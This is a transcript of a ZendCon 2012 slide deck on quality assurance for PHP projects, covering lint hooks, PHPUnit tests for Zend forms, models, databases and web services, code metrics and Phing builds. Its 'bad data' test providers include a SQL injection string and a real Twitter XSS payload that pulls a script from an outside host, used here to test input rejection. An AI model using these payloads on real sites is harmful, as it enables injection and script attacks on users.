Improving QA on PHP projects - ZendCon 2012

Quality Assurance
for PHP projects
ZendCon 2012, Santa Clara CA

View Slide

Michelangelo van Dam

View Slide

Schedule Workshop
Introduction to Quality Assurance
Revision control
Documenting
Testing
Measuring
Automating
Team works!

View Slide

#zendcon12 #wsqa

View Slide

Introduction to QA

View Slide

Why QA?

View Slide

Why QA
Safeguarding code

View Slide

Detect bugs early

View Slide

Observe behavior

View Slide

Prevent accidents from happening

View Slide

Tracking progress

View Slide

Why invest in QA?

View Slide

Keeps your code in shape

View Slide

Measures speed and performance

View Slide

Boosts team spirit

View Slide

Saves time

View Slide

Reports continuously

View Slide

Delivers ready to deploy packages

View Slide

Quality Assurance Tools

View Slide

Revision Control

View Slide

SCM Tools
• Subversion
• Git
• Mercurial
• Bazaar
• Source Vault

View Slide

FTP

View Slide

Advantages of SCM
• team development possible
• tracking multi-versions of source code
• moving back and forth in history
• tagging of milestones
• backup of source code
• accessible from
- command line
- native apps
- IDE’s
- analytical tools
TIP: hooks for tools

View Slide

Syntax Checking

View Slide

php -‐l (lint)
h4p://www.php.net/manual/en/features.commandline.op>ons.php

View Slide

PHP Lint
• checks the syntax of code
• build in PHP core
• is used per ﬁle
- pre-commit hook for version control system
- batch processing of ﬁles
• can provide reports
- but if something fails -> the build fails
TIP: pre-‐commit hook

View Slide

Syntax
php -lf /path/to/filename.php

View Slide

PHP Lint on Command Line

View Slide

SVN Pre commit hook
#!/bin/sh
#
# Pre-commit hook to validate syntax of incoming PHP files, if no failures it
# accepts the commit, otherwise it fails and blocks the commit
REPOS="$1"
TXN="$2"
# modify these system executables to match your system
PHP=/usr/bin/php
AWK=/usr/bin/awk
GREP=/bin/grep
SVNLOOK=/usr/bin/svnlook
# PHP Syntax checking with PHP Lint
# originally from Joe Stump at Digg
# https://gist.github.com/53225
#
for i in `$SVNLOOK changed -t "$TXN" "$REPOS" | $AWK '{print $2}'`
do
if [ ${i##*.} == php ]; then
CHECK=`$SVNLOOK cat -t "$TXN" "$REPOS" $i | $PHP -d html_errors=off -l || echo $i`
RETURN=`echo $CHECK | $GREP "^No syntax" > /dev/null && echo TRUE || echo FALSE`
if [ $RETURN = 'FALSE' ]; then
echo $CHECK 1>&2;
exit 1
fi
fi
done

View Slide

SVN pre-‐commit hook

View Slide

Documenting

View Slide

Why documenting?
• new members in the team
• working with remote workers
• analyzing improvements
• think before doing
• used by IDE’s and editors for code hinting ;-)

View Slide

PHPDoc2
phpDocumentor + DocBlox
March 16, 2012

View Slide

Phpdoc2

View Slide

Phpdoc2 class details

View Slide

Based on docblocks in code

View Slide

And the output

View Slide

Phpdoc2 class rela>on chart

View Slide

Phpdoc2 on your project

View Slide

Testing

View Slide

developer testing 201:
when to mock and when to integrate

View Slide

Any reasons not to test?

View Slide

Most common excuses
• no time
• not within budget
• development team does not know how
• tests are provided after delivery
• …

View Slide

NO EXCUSES!

View Slide

Maintainability
• during development
- test will fail indicating bugs
• after sales support
- testing if an issue is genuine
- ﬁxing issues won’t break code base
‣ if they do, you need to ﬁx it!
• long term projects
- refactoring made easy

View Slide

Remember
“Once a test is made, it will always be tested!”

View Slide

View Slide

Conﬁdence
• for the developer
- code works
• for the manager
- project succeeds
• for sales / general management / share holders
- making proﬁt
• for the customer
- paying for what they want

View Slide

View Slide

Unit testing ZF apps

View Slide

Setting things up

View Slide

phpunit.xml

./

../application/
../library/Mylib/

../application/

View Slide

TestHelper.php
// set our app paths and environments
define('BASE_PATH', realpath(dirname(__FILE__) . '/../'));
define('APPLICATION_PATH', BASE_PATH . '/application');
define('TEST_PATH', BASE_PATH . '/tests');
define('APPLICATION_ENV', 'testing');
// Include path
set_include_path(
. PATH_SEPARATOR . BASE_PATH . '/library'
. PATH_SEPARATOR . get_include_path()
);
// Set the default timezone !!!
date_default_timezone_set('Europe/Brussels');
// We wanna catch all errors en strict warnings
error_reporting(E_ALL|E_STRICT);
require_once 'Zend/Application.php';
$application = new Zend_Application(
APPLICATION_ENV,
APPLICATION_PATH . '/configs/application.ini'
);
$application->bootstrap();

View Slide

Zend_Tool since 1.11.4
• provides
• phpunit.xml
• bootstrap.php
• IndexControllerTest.php
Ralph Schindler

View Slide

Let’s get started…

View Slide

Testing Zend_Form

View Slide

CommentForm
Name:
E-mail Address:
Website:
Comment:
Post

View Slide

Start with the test
class Application_Form_CommentFormTest extends PHPUnit_Framework_TestCase
{
protected $_form;
protected function setUp()
{
$this->_form = new Application_Form_CommentForm();
parent::setUp();
}
protected function tearDown()
{
parent::tearDown();
$this->_form = null;
}
}

View Slide

The good stuff
public function goodData()
{
return array (
array ('John Doe', '[email protected]',
'http://example.com', 'test comment'),
array ("Matthew Weier O'Phinney", '[email protected]',
'http://weierophinney.net', 'Doing an MWOP-Test'),
array ('D. Keith Casey, Jr.', '[email protected]',
'http://caseysoftware.com', 'Doing a monkey dance'),
);
}
/**
* @dataProvider goodData
*/
public function testFormAcceptsValidData($name, $email, $web, $comment)
{
$data = array (
'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment,
);
$this->assertTrue($this->_form->isValid($data));
}

View Slide

Protection!
Protection

View Slide

Little Bobby Tables
http://xkcd.com/327/

View Slide

Twitter Hack
http://xkcd.com/327/
http://edition.cnn.com/2010/TECH/social.media/09/21/twitter.security.ﬂaw/index.html

View Slide

The bad stuff
public function badData()
{
return array (
array ('','','',''),
array ("Robert'; DROP TABLES comments; --", '',
'http://xkcd.com/327/','Little Bobby Tables'),
array (str_repeat('x', 100000), '', '', ''),
"http://t.co/@\"style=\"font-size:999999999999px;\"onmouseover=
\"$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')\"/",
'exploit twitter 9/21/2010'),
);
}
/**
* @dataProvider badData
*/
public function testFormRejectsBadData($name, $email, $web, $comment)
{
$data = array (
'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment,
);
$this->assertFalse($this->_form->isValid($data));
}

View Slide

Create the form class
class Application_Form_CommentForm extends Zend_Form
{
public function init()
{
/* Form Elements & Other Definitions Here ... */
}
}

View Slide

Let’s run the test

View Slide

Let’s put in our elements
class Application_Form_CommentForm extends Zend_Form
{
public function init()
{
$this->addElement('text', 'name', array (
'Label' => 'Name', 'Required' => true));
$this->addElement('text', 'mail', array (
'Label' => 'E-mail Address', 'Required' => true));
$this->addElement('text', 'web', array (
'Label' => 'Website', 'Required' => false));
$this->addElement('textarea', 'comment', array (
'Label' => 'Comment', 'Required' => true));
$this->addElement('submit', 'post', array (
'Label' => 'Post', 'Ignore' => true));
}
}

View Slide

Less errors?

View Slide

Filter - Validate
$this->addElement('text', 'name', array (
'Label' => 'Name', 'Required' => true,
'Filters' => array ('StringTrim', 'StripTags'),
'Validators' => array (
new Zftest_Validate_Mwop(),
new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))),
));
$this->addElement('text', 'mail', array (
'Label' => 'E-mail Address', 'Required' => true,
'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'),
new Zend_Validate_EmailAddress(),
));
$this->addElement('text', 'web', array (
'Label' => 'Website', 'Required' => false,
'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'),
new Zend_Validate_Callback(array('Zend_Uri', 'check')),
));
$this->addElement('textarea', 'comment', array (
'Label' => 'Comment', 'Required' => true,
'Filters' => array ('StringTrim', 'StripTags'),
new Zftest_Validate_TextBox(),
new Zend_Validate_StringLength(array ('max' => 5000))),
));

View Slide

Green, warm & fuzzy

View Slide

You’re a winner!
☑ quality code
☑ tested
☑ secure
☑ reusable

View Slide

Testing models

View Slide

Testing business logic
• models contain logic
- tied to your business
- tied to your storage
- tied to your resources
• no “one size ﬁts all” solution

View Slide

Type: data containers
• contains structured data
- populated through setters and getters
• perform logic tied to it’s purpose
- transforming data
- ﬁltering data
- validating data
• can convert into other data types
- arrays
- strings (JSON, serialized, xml, …)
• are providers to other models

View Slide

Comment Class

View Slide

Writing model test
class Application_Model_CommentTest extends PHPUnit_Framework_TestCase
{
protected $_comment;
{
$this->_comment = new Application_Model_Comment();
parent::setUp();
}
{
parent::tearDown();
$this->_comment = null;
}
public function testModelIsEmptyAtConstruct()
{
$this->assertSame(0, $this->_comment->getId());
$this->assertNull($this->_comment->getFullName());
$this->assertNull($this->_comment->getEmailAddress());
$this->assertNull($this->_comment->getWebsite());
$this->assertNull($this->_comment->getComment());
}
}

View Slide

This test won’t run!

View Slide

Create a simple model
class Application_Model_Comment
{
protected $_id = 0; protected $_fullName; protected $_emailAddress;
protected $_website; protected $_comment;
public function setId($id) { $this->_id = (int) $id; return $this; }
public function getId() { return $this->_id; }
public function setFullName($fullName) { $this->_fullName = (string) $fullName; return $this; }
public function getFullName() { return $this->_fullName; }
public function setEmailAddress($emailAddress) { $this->_emailAddress = (string) $emailAddress; return $this; }
public function getEmailAddress() { return $this->_emailAddress; }
public function setWebsite($website) { $this->_website = (string) $website; return $this; }
public function getWebsite() { return $this->_website; }
public function setComment($comment) { $this->_comment = (string) $comment; return $this; }
public function getComment() { return $this->_comment; }
public function populate($row) {
if (is_array($row)) {
$row = new ArrayObject($row, ArrayObject::ARRAY_AS_PROPS);
}
if (isset ($row->id)) $this->setId($row->id);
if (isset ($row->fullName)) $this->setFullName($row->fullName);
if (isset ($row->emailAddress)) $this->setEmailAddress($row->emailAddress);
if (isset ($row->website)) $this->setWebsite($row->website);
if (isset ($row->comment)) $this->setComment($row->comment);
}
public function toArray() {
return array (
'id' => $this->getId(),
'fullName' => $this->getFullName(),
'emailAddress' => $this->getEmailAddress(),
'website' => $this->getWebsite(),
'comment' => $this->getComment(),
);
}
}

View Slide

We pass the test…

View Slide

Really ???

View Slide

Not all data from form!
• model can be populated from
- users through the form
- data stored in the database
- a webservice (hosted by us or others)
• simply test it
- by using same test scenario’s from our form

View Slide

View Slide

The good stuff
public function goodData()
{
return array (
'http://example.com', 'test comment'),
array ("Matthew Weier O'Phinney", '[email protected]',
'http://weierophinney.net', 'Doing an MWOP-Test'),
array ('D. Keith Casey, Jr.', '[email protected]',
'http://caseysoftware.com', 'Doing a monkey dance'),
);
}
/**
* @dataProvider goodData
*/
public function testModelAcceptsValidData($name, $mail, $web, $comment)
{
$data = array (
'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment,
);
try {
$this->_comment->populate($data);
} catch (Zend_Exception $e) {
$this->fail('Unexpected exception should not be triggered');
}
$data['id'] = 0;
$data['emailAddress'] = strtolower($data['emailAddress']);
$data['website'] = strtolower($data['website']);
$this->assertSame($this->_comment->toArray(), $data);
}

View Slide

The bad stuff
public function badData()
{
return array (
array ('','','',''),
array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby
Tables'),
array (str_repeat('x', 1000), '', '', ''),
array ('John Doe', '[email protected]', "http://t.co/@\"style=\"font-size:999999999999px;
\"onmouseover=\"$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')\"/", 'exploit twitter
9/21/2010'),
);
}
/**
* @dataProvider badData
*/
public function testModelRejectsBadData($name, $mail, $web, $comment)
{
$data = array (
'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment,
);
try {
$this->_comment->populate($data);
} catch (Zend_Exception $e) {
return;
}
$this->fail('Expected exception should be triggered');
}

View Slide

Let’s run it

View Slide

Modify our model
protected $_filters;
protected $_validators;
public function __construct($params = null)
{
$this->_filters = array (
'id' => array ('Int'),
'fullName' => array ('StringTrim', 'StripTags', new Zend_Filter_Alnum(true)),
'emailAddress' => array ('StringTrim', 'StripTags', 'StringToLower'),
'website' => array ('StringTrim', 'StripTags', 'StringToLower'),
'comment' => array ('StringTrim', 'StripTags'),
);
$this->_validators = array (
'id' => array ('Int'),
'fullName' => array (
new Zftest_Validate_Mwop(),
new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)),
),
'emailAddress' => array (
'EmailAddress',
),
'website' => array (
new Zend_Validate_Callback(array('Zend_Uri', 'check')),
),
'comment' => array (
new Zftest_Validate_TextBox(),
new Zend_Validate_StringLength(array ('max' => 5000)),
),
);
if (null !== $params) { $this->populate($params); }
}

View Slide

Modify setters: Id & name
public function setId($id)
{
$input = new Zend_Filter_Input($this->_filters, $this->_validators);
$input->setData(array ('id' => $id));
if (!$input->isValid('id')) {
throw new Zend_Exception('Invalid ID provided');
}
$this->_id = (int) $input->id;
return $this;
}
public function setFullName($fullName)
{
$input->setData(array ('fullName' => $fullName));
if (!$input->isValid('fullName')) {
throw new Zend_Exception('Invalid fullName provided');
}
$this->_fullName = (string) $input->fullName;
return $this;
}

View Slide

Email & website
public function setEmailAddress($emailAddress)
{
$input->setData(array ('emailAddress' => $emailAddress));
if (!$input->isValid('emailAddress')) {
throw new Zend_Exception('Invalid emailAddress provided');
}
$this->_emailAddress = (string) $input->emailAddress;
return $this;
}
public function setWebsite($website)
{
$input->setData(array ('website' => $website));
if (!$input->isValid('website')) {
throw new Zend_Exception('Invalid website provided');
}
$this->_website = (string) $input->website;
return $this;
}

View Slide

and comment
public function setComment($comment)
{
$input->setData(array ('comment' => $comment));
if (!$input->isValid('comment')) {
throw new Zend_Exception('Invalid comment provided');
}
$this->_comment = (string) $input->comment;
return $this;
}

View Slide

Now we’re good!

View Slide

Testing Databases

View Slide

Integration Testing
• database speciﬁc functionality
- triggers
- constraints
- stored procedures
- sharding/scalability
• data input/output
- correct encoding of data
- transactions execution and rollback

View Slide

Points of concern
• beware of automated data types
- auto increment sequence ID’s
- default values like CURRENT_TIMESTAMP
• beware of time related issues
- timestamp vs. datetime
- UTC vs. local time

View Slide

The domain Model
• Model object
• Mapper object
• Table gateway object
Read more about it ‛

View Slide

Change our test class
class Application_Model_CommentTest
extends PHPUnit_Framework_TestCase
becomes
class Application_Model_CommentTest
extends Zend_Test_PHPUnit_DatabaseTestCase

View Slide

Setting DB Testing up
protected $_connectionMock;
public function getConnection()
{
if (null === $this->_dbMock) {
$this->bootstrap = new Zend_Application(
APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');
$this->bootstrap->bootstrap('db');
$db = $this->bootstrap->getBootstrap()->getResource('db');
$this->_connectionMock = $this->createZendDbConnection(
$db, 'zftest'
);
return $this->_connectionMock;
}
}
public function getDataSet()
{
return $this->createFlatXmlDataSet(
realpath(APPLICATION_PATH . '/../tests/_files/initialDataSet.xml'));
}

View Slide

initialDataSet.xml

id="1"
fullName="B.A. Baracus"
emailAddress="[email protected]"
website="http://www.a-team.com"
comment="I pitty the fool that doesn't test!"/>
id="2"
fullName="Martin Fowler"
website="http://martinfowler.com/"
comment="Models are not right or wrong; they are more or less useful."/>

View Slide

Testing SELECT
public function testDatabaseCanBeRead()
{
$ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
$this->getConnection());
$ds->addTable('comment', 'SELECT * FROM `comment`');
$expected = $this->createFlatXMLDataSet(
APPLICATION_PATH . '/../tests/_files/selectDataSet.xml');
$this->assertDataSetsEqual($expected, $ds);
}

View Slide

selectDataSet.xml

id="1"
id="2"

View Slide

Testing UPDATE
public function testDatabaseCanBeUpdated()
{
$comment = new Application_Model_Comment();
$mapper = new Application_Model_CommentMapper();
$mapper->find(1, $comment);
$comment->setComment('I like you picking up the challenge!');
$mapper->save($comment);
APPLICATION_PATH . '/../tests/_files/updateDataSet.xml');
}

View Slide

updateDataSet.xml

id="1"
comment="I like you picking up the challenge!"/>
id="2"

View Slide

Testing DELETE
public function testDatabaseCanDeleteAComment()
{
$mapper->find(1, $comment)
->delete($comment);
APPLICATION_PATH . '/../tests/_files/deleteDataSet.xml');
}

View Slide

deleteDataSet.xml

id="2"

View Slide

Testing INSERT
public function testDatabaseCanAddAComment()
{
$comment->setFullName('Michelangelo van Dam')
->setEmailAddress('[email protected]')
->setWebsite('http://www.dragonbe.com')
->setComment('Unit Testing, It is so addictive!!!');
APPLICATION_PATH . '/../tests/_files/addDataSet.xml');
}

View Slide

insertDataSet.xml

id="1"
id="2"
id="3"
fullName="Michelangelo van Dam"
website="http://www.dragonbe.com"
comment="Unit Testing, It is so addictive!!!"/>

View Slide

Run Test

View Slide

What went wrong here?

View Slide

AUTO_INCREMENT

View Slide

Testing INSERT w/ ﬁlter
public function testDatabaseCanAddAComment()
{
$comment->setFullName('Michelangelo van Dam')
->setEmailAddress('[email protected]')
->setWebsite('http://www.dragonbe.com')
->setComment('Unit Testing, It is so addictive!!!');
$filteredDs = new PHPUnit_Extensions_Database_DataSet_DataSetFilter(
$ds, array ('comment' => array ('id')));
APPLICATION_PATH . '/../tests/_files/addDataSet.xml');
$this->assertDataSetsEqual($expected, $filteredDs);
}

View Slide

insertDataSet.xml

fullName="Michelangelo van Dam"
emailAddress="[email protected]om"
website="http://www.dragonbe.com"
comment="Unit Testing, It is so addictive!!!"/>

View Slide

Run Test

View Slide

Testing web services

View Slide

Web services remarks
• you need to comply with an API
- that will be your reference
• you cannot always make a test-call
- paid services per call
- test environment is “ofﬂine”
- network related issues

View Slide

Example: joind.in

View Slide

http://joind.in/api

View Slide

JoindinTest
class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase
{
protected $_joindin;
protected $_settings;
{
$this->_joindin = new Zftest_Service_Joindin();
$settings = simplexml_load_file(realpath(
APPLICATION_PATH . '/../tests/_files/settings.xml'));
$this->_settings = $settings->joindin;
parent::setUp();
}
{
parent::tearDown();
$this->_joindin = null;
}
}

View Slide

JoindinTest
public function testJoindinCanGetUserDetails()
{
$expected = 'DragonBe
username>Michelangelo van Dam19
ID>1303248639';
$this->_joindin->setUsername($this->_settings->username)
->setPassword($this->_settings->password);
$actual = $this->_joindin->user()->getDetail();
$this->assertXmlStringEqualsXmlString($expected, $actual);
}
public function testJoindinCanCheckStatus()
{
$date = new DateTime();
$date->setTimezone(new DateTimeZone('UTC'));
$expected = '' . $date->format('r') .
'testing unit test';
$actual = $this->_joindin->site()->getStatus('testing unit test');
}

View Slide

Testing the service

View Slide

Euh… what?
1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetails
Failed asserting that two strings are equal.
--- Expected
+++ Actual
@@ @@
19
- 1303248639
+ 1303250271

I recently logged in ✔

View Slide

And this?
2) Zftest_Service_JoindinTest::testJoindinCanCheckStatus
Failed asserting that two strings are equal.
--- Expected
+++ Actual
@@ @@

- Tue, 19 Apr 2011 22:26:40 +0000
+ Tue, 19 Apr 2011 22:26:41 +0000
testing unit test

Latency of the network 1s !

View Slide

Solution… right here!

View Slide

Your expectations

View Slide

JoindinTest
class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase
{
protected $_joindin;
protected $_settings;
{
$this->_joindin = new Zftest_Service_Joindin();
$client = new Zend_Http_Client();
$client->setAdapter(new Zend_Http_Client_Adapter_Test());
$this->_joindin->setClient($client);
$settings = simplexml_load_file(realpath(
APPLICATION_PATH . '/../tests/_files/settings.xml'));
$this->_settings = $settings->joindin;
parent::setUp();
}
{
parent::tearDown();
$this->_joindin = null;
}
}

View Slide

JoindinUserMockTest
public function testJoindinCanGetUserDetails()
{
$response = <<HTTP/1.1 200 OK
Content-type: text/xml

DragonBe
19
1303248639

EOS;
$client = $this->_joindin->getClient()->getAdapter()->setResponse($response);
$expected = 'DragonBe
username>Michelangelo van Dam191303248639
last_login>';
$this->_joindin->setUsername($this->_settings->username)
->setPassword($this->_settings->password);
$actual = $this->_joindin->user()->getDetail();
}

View Slide

JoindinStatusMockTest
public function testJoindinCanCheckStatus()
{
$date = new DateTime();
$date->setTimezone(new DateTimeZone('UTC'));
$response = <<HTTP/1.1 200 OK
Content-type: text/xml

{$date->format('r')}
testing unit test

EOS;
$client = $this->_joindin->getClient()
->getAdapter()->setResponse($response);
$expected = '' . $date->format('r') .
'testing unit test';
$actual = $this->_joindin->site()->getStatus('testing unit test');
}

View Slide

Good implementation?

View Slide

Controller Testing

View Slide

Our form ﬂow

View Slide

Setting up ControllerTest
class IndexControllerTest extends Zend_Test_PHPUnit_ControllerTestCase
{
public function setUp()
{
$this->bootstrap = new Zend_Application(
APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');
parent::setUp();
}
}

View Slide

Testing if form is on page
public function testIndexAction()
{
$params = array(
'action' => 'index',
'controller' => 'index',
'module' => 'default'
);
$url = $this->url($this->urlizeOptions($params));
$this->dispatch($url);
// assertions
$this->assertModule($params['module']);
$this->assertController($params['controller']);
$this->assertAction($params['action']);
$this->assertQueryContentContains(
'h1#pageTitle', 'Please leave a comment');
$this->assertQueryCount('form#commentForm', 1);
}

View Slide

Test processing
public function testProcessAction()
{
$testData = array (
'name' => 'testUser',
'mail' => '[email protected]',
'web' => 'http://www.example.com',
'comment' => 'This is a test comment',
);
$params = array('action' => 'process', 'controller' => 'index', 'module' => 'default');
$this->request->setMethod('post');
$this->request->setPost($testData);
// assertions
$this->assertResponseCode(302);
$this->assertRedirectTo('/index/success');
$this->resetRequest();
$this->resetResponse();
$this->dispatch('/index/success');
$this->assertQueryContentContains('span#fullName', $testData['name']);
}

View Slide

REMARK
• data providers can be used
- to test valid data
- to test invalid data
• but we know it’s taken care of our model
- just checking for error messages in form

View Slide

Test if we hit home
public function testSuccessAction()
{
$params = array(
'action' => 'success',
'controller' => 'index',
'module' => 'default'
);
// assertions
$this->assertRedirectTo('/');
}

View Slide

Running the tests

View Slide

Testing it all

View Slide

Our progress report

View Slide

Conclusion

View Slide

• unit testing is simple
• combine integration tests with unit tests
• test what counts
• mock out what’s remote

View Slide

Fork this code
http://github.com/DragonBe/zftest

View Slide

Measuring

View Slide

Code Analysis

View Slide

Questions
• how stable is my code?
• how ﬂexible is my code?
• how complex is my code?
• how easy can I refactor my code?

View Slide

Answers
• PHPDepend - Dependency calculations
• PHPMD - Mess detections and code “smells”
• PHPCPD - Copy/paste detection
• PHPCS - PHP_CodeSniffer

View Slide

PHP Depend

View Slide

What?
• generates metrics
• measure health
• identify parts to improve (refactor)

View Slide

pdepend pyramid

View Slide

• CYCLO: Cyclomatic Complexity
• LOC: Lines of Code
• NOM: Number of Methods
• NOC: Number of Classes
• NOP: Number of Packages
• AHH: Average Hierarchy Height
• ANDC: Average Number of Derived Classes
• FANOUT: Number of Called Classes
• CALLS: Number of Operation Calls

View Slide

Cyclomatic Complexity
• metric calculation
• execution paths
• independent control structures
- if, else, for, foreach, switch case, while, do, …
• within a single method or function
• more info
- http://en.wikipedia.org/wiki/
Cyclomatic_complexity

View Slide

Average Hierarchy Height
The average of the maximum length from a root class
to its deepest subclass

View Slide

pdepend pyramid
Inheritance
few classes derived from other classes
lots of classes inherit from other classes

View Slide

pdepend pyramid
Size and complexity

View Slide

pdepend pyramid
Coupling

View Slide

pdepend pyramid
High value

View Slide

pdepend-graph
graph about stability: a mix between abstract and concrete classes

View Slide

View Slide

PHP Depend

View Slide

PHP Mess Detection

View Slide

What?
• detects code smells
- possible bugs
- sub-optimal code
- over complicated expressions
- unused parameters, methods and properties
- wrongly named parameters, methods or properties

View Slide

PHPMD in ac>on

View Slide

PHP Copy/Paste
Detection

View Slide

What?
• detects similar code snippets
- plain copy/paste work
- similar code routines
• indicates problems
- maintenance hell
- downward spiral of disasters
• stimulates improvements
- refactoring of code
- moving similar code snippets in common routines

View Slide

PHP CodeSniffer

View Slide

Required evil
• validates coding standards
- consistency
- readability
• set as a policy for development
• reports failures to meet the standard
- sometimes good: parentheses on wrong line
- mostly bad: line exceeds 80 characters
❖ but needed for terminal viewing of code
• can be set as pre-commit hook
- but can cause frustration!!!

View Slide

Performance Analysis

View Slide

https://twitter.com/#!/andriesss/status/189712045766225920

View Slide

View Slide

Automating

View Slide

Key reason
“computers are great at doing repetitive tasks very well”

View Slide

Repetition
• syntax checking
• documenting
• testing
• measuring

View Slide

View Slide

Why Phing?
• php based (it’s already on our system)
• open-source
• supported by many tools
• very simple syntax
• great documentation

View Slide

Structure of a build

View Slide

build.properties
project.title=WeCycle
phpbook:qademo dragonbe$ cat build.properties
# General settings
project.website=http://wecycle.local
project.title=WeCycle
# AB Testing properties
abrequests=1000
abconcurrency=10

View Slide

local.properties
project.website=http://qademo.local
abrequests=1000
abconcurrency=10
db.username=qademo_user
db.password=v3rRyS3crEt
db.hostname=127.0.0.1
db.dbname=qademo

View Slide

Let’s run it

View Slide

Artifacts
• some tools provide output we can use later
• called “artifacts”
• we need to store them somewhere
• so we create a prepare target
• that creates these artifact directories (./build)
• that gets cleaned every run

View Slide

Prepare for artifacts

View Slide

phpdoc2

command="/usr/bin/phpdoc
-d application/,library/In2it
-e php -t ${project.basedir}/build/docs
--title="${doc.title}""
dir="${project.basedir}"
passthru="true" />

View Slide

PHPUnit

command="/usr/bin/phpunit
--coverage-html ${project.basedir}/build/coverage
--coverage-clover ${project.basedir}/build/logs/clover.xml
--log-junit ${project.basedir}/build/logs/junit.xml"
dir="${project.basedir}/tests"
passthru="true" />

View Slide

PHP_CodeSniffer

command="/usr/bin/phpcs
--report=checkstyle
--report-file=${project.basedir}/build/logs/checkstyle.xml
--standard=Zend
--extensions=php application library/In2it"
passthru="true" />

View Slide

Copy Paste Detection

type="pmd"
outfile="${project.basedir}/build/logs/pmd-cpd.xml" />

View Slide

PHP Mess Detection

type="xml"
outfile="${project.basedir}/build/logs/pmd.xml" />

View Slide

PHP Depend

type="jdepend-xml"
outfile="${project.basedir}/build/logs/jdepend.xml" />
type="phpunit-xml"
outfile="${project.basedir}/build/logs/phpunit.xml" />
type="summary-xml"
outfile="${project.basedir}/build/logs/pdepend-summary.xml" />
type="jdepend-chart"
outfile="${project.basedir}/build/pdepend/pdepend.svg" />
type="overview-pyramid"
outfile="${project.basedir}/build/pdepend/pyramid.svg" />

View Slide

PHP CodeBrowser

command="/usr/bin/phpcb
-l ${project.basedir}/build/logs
-S php
-o ${project.basedir}/build/browser"
passthru="true"/>

View Slide

Create a build procedure

View Slide

Other things to automate
• server stress-testing with Apache Benchmark
• database deployment with DBDeploy
• package code base with Phar
• transfer package to servers with
- FTP/SFTP
- scp/rsync
• execute remote commands with SSH
• … so much more

View Slide

Example DBDeploy

name="dbscripts.dir"
value="${project.basedir}/${dbdeploy.scripts}" />

url="mysql:host=${db.hostname};dbname=${db.dbname}"
userid="${db.username}"
password="${db.password}"
dir="${dbscripts.dir}/deltas"
outputfile="${dbscripts.dir}/all-deltas.sql"
undooutputfile="${dbscripts.dir}/undo-all-deltas.sql"/>

url="mysql:host=${db.hostname};dbname=${db.dbname}"
userid="${db.username}"
password="${db.password}"
src="${dbscripts.dir}/all-deltas.sql"/>

View Slide

Build it

View Slide

Continuous Integration

View Slide

View Slide

Deployment
Build
Development
Versioning
System
Continuous
Integration
System
ACC
TEST
DEV
PROD
Status
Nightly builds
Documentation
Backup/Archive
Build package
wiki/PM tools
Build
- Unit tests
- API docs
- Code conventions
- Software metrics

View Slide

Now you are a winner!

View Slide

Team Works!

View Slide

View Slide

Conclusion

View Slide

Get your information
in a consistent, automated way
and make it accessible for the team

View Slide

More people can better safeguard
the code!

View Slide

QA starts with YOU!

View Slide

Recommended reading
• the PHP QA book
-‐ Sebas>an Bergmann
-‐ Stefan Priebsch

View Slide

Recommended reading
• The Grumpy Book
-‐ Chris Hartjes

View Slide

Recommended reading
• OOD Quality Metrics
-‐ Robert Cecil Mar>n
Free
h4p://www.objectmentor.com/publica>ons/oodmetrc.pdf

View Slide

Certiﬁed Zend Engineer
[email protected]
(202) 559-7401
@DragonBe
2
Contact us for
consulting - training - QA
www.in2it.be

View Slide

https://joind.in/6858
Please leave feedback to make this workshop better

View Slide

PHP
BENELUX
CONFERENCE
Antwerp 2013
phpcon.eu

View Slide

Credits
I’d like to thank the following people for sharing their creative commons pictures
michelangelo: http://www.flickr.com/photos/dasprid/5148937451
birds: http://www.flickr.com/photos/andyofne/4633356197
safeguarding: http://www.flickr.com/photos/infidelic/4306205887/
bugs: http://www.flickr.com/photos/goingslo/4523034319
behaviour: http://www.flickr.com/photos/yuan2003/1812881370
prevention: http://www.flickr.com/photos/robertelyov/5159801170
progress: http://www.flickr.com/photos/dingatx/4115844000
workout: http://www.flickr.com/photos/aktivioslo/3883690673
measurement: http://www.flickr.com/photos/cobalt220/5479976917
team spirit: http://www.flickr.com/photos/amberandclint/3266859324
time: http://www.flickr.com/photos/freefoto/2198154612
chris hartjes: http://www.flickr.com/photos/sebastian_bergmann/3341258964
continuous reporting: http://www.flickr.com/photos/dhaun/5640386266
deploy packages: http://www.flickr.com/photos/fredrte/2338592371
race cars: http://www.flickr.com/photos/robdunckley/3781995277
protection dog: http://www.flickr.com/photos/boltofblue/5724934828
gears: http://www.flickr.com/photos/freefoto/5982549938
1st place: http://www.flickr.com/photos/evelynishere/3417340248
elephpant: http://www.flickr.com/photos/drewm/3191872515

View Slide

Thank you

View Slide

Improving QA on PHP projects - ZendCon 2012

Improving QA on PHP projects - ZendCon 2012

Michelangelo

More Decks by Michelangelo

Other Decks in Technology

Featured

Transcript